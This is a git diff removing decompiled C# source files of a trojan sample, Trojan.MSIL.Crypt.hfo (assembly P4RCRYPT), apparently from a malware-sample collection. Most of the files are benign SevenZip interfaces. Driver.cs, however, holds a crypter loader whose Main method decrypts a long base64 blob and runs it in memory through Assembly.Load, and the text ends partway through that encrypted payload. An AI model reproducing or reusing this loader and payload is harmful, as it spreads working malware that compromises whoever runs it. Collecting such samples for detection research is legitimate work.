+++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.ISetDecoderProperties -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip -{ - public interface ISetDecoderProperties - { - void SetDecoderProperties(byte[] properties); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/IWriteCoderProperties.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/IWriteCoderProperties.cs deleted file mode 100644 index a7c31ffa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/IWriteCoderProperties.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.IWriteCoderProperties -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System.IO; - -namespace SevenZip -{ - public interface IWriteCoderProperties - { - void WriteCoderProperties(Stream outStream); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/InvalidParamException.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/InvalidParamException.cs deleted file mode 100644 index 94777336..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/InvalidParamException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.InvalidParamException -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; - -namespace SevenZip -{ - internal class InvalidParamException : ApplicationException - { - public InvalidParamException() - : base("Invalid Parameter") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/SysDriver/Driver.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/SysDriver/Driver.cs deleted file mode 100644 index 3c0eb984..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/SysDriver/Driver.cs +++ /dev/null @@ -1,97 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SysDriver.Driver -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using SevenZip.Compression.LZMA; -using System; -using System.IO; -using System.Reflection; -using System.Security.Cryptography; -using System.Text; - -namespace SysDriver -{ - internal class Driver - { - private static void Main(string[] args) - { - Assembly g6Q3Ykc7XSa84TnNy9f2ACx5j3PB = Assembly.Load(Driver.i6LDz4e8GWr59AjBs72K("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